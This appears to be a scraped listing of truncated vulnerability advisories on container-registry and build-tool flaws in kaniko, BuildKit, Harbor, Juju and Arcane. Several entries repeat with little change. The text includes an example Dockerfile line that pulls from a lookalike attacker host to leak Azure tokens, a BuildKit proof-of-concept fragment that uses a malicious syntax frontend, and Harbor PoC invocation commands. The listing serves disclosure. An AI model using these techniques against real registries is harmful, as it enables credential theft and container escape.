kubebot

Kubebot A security testing Slackbot built with a Kubernetes backend on the Google Cloud Platform NOTE: I am not actively maintaining this project anymore. I am working on v2 of Kubebot along with a couple other folks which will likely be presented at one of the upcoming security conferences...

EUVD-2026-115331

kaniko can send the build's Azure Entra ID access token to lookalike ACR registry hosts...

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary kaniko before v1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instructi...

CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2024-23653

syntax=docker.io/zdfa/evilerfile FROM alpine RUN grep Cap /proc/self/status sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. ➜ cp sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. + Building 5.3s 6/6 FINISHED...

CVE-2022-46463

CVE-2022-46463 CVE-2022-46463POC Harbor Unauthorized For vulnerability details, see Stack Community Use python3 cvve-2022-46463.py -u https://127.0.0.1:5003 Options -u URL, --url URL Target URL e.g. http://example.com -h, --help Show help message and exit Directly pasted the docker pull xxx comma...

harbor

Team Introduction Chongqing Jiugongge Security Team is committed to sharing open-source security tools, with research directions covering red-blue confrontation, Web security, mobile security, security development, enterprise security construction, IoT/Industrial Control Security/AI/Quantum...

CVE-2019-16097

CVE-2019-16097 Harbor Unauthorized Admin Creation Vulnerability Principle docker and poc based on pocsuite framework...

CVE-2026-93336

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

CVE-2026-93336

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

CVE-2026-93336 Missing authorization in the unit resources download route in Juju controllers

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

EUVD-2026-108266

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

CVE-2026-93336 Missing authorization in the unit resources download route in Juju controllers

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

CVE-2026-93336

Canonical Juju versions 4.0 through 4.0.15 are vulnerable to a missing authorization flaw in the unit resources download route. A controller-authenticated principal, such as a unit agent or a user with only login permissions, can perform a crafted request naming an arbitrary unit to read any appl...

PT-2026-121493

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

CVE-2026-93336

Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal a unit agent, or a user with only login permission to read any application's charm resource in any model, including container-registry credentials, via a...

Canonical Juju Juju authorization issue vulnerability

Versions 4.0 through 4.15 of Canonical Juju contain an authorization issue vulnerability. This vulnerability stems from a lack of authorization in the unit resources download routing. Subjects authenticated by the controller—either unit agents or users with login privileges only—can specify any...

CVE-2026-96626

Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/containerregistryservice.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:updat...

CVE-2026-96626

Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/containerregistryservice.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:updat...

CVE-2026-96626 Arcane: Container-registry credential exfiltration via URL repoint + test to attacker host

Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/containerregistryservice.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:updat...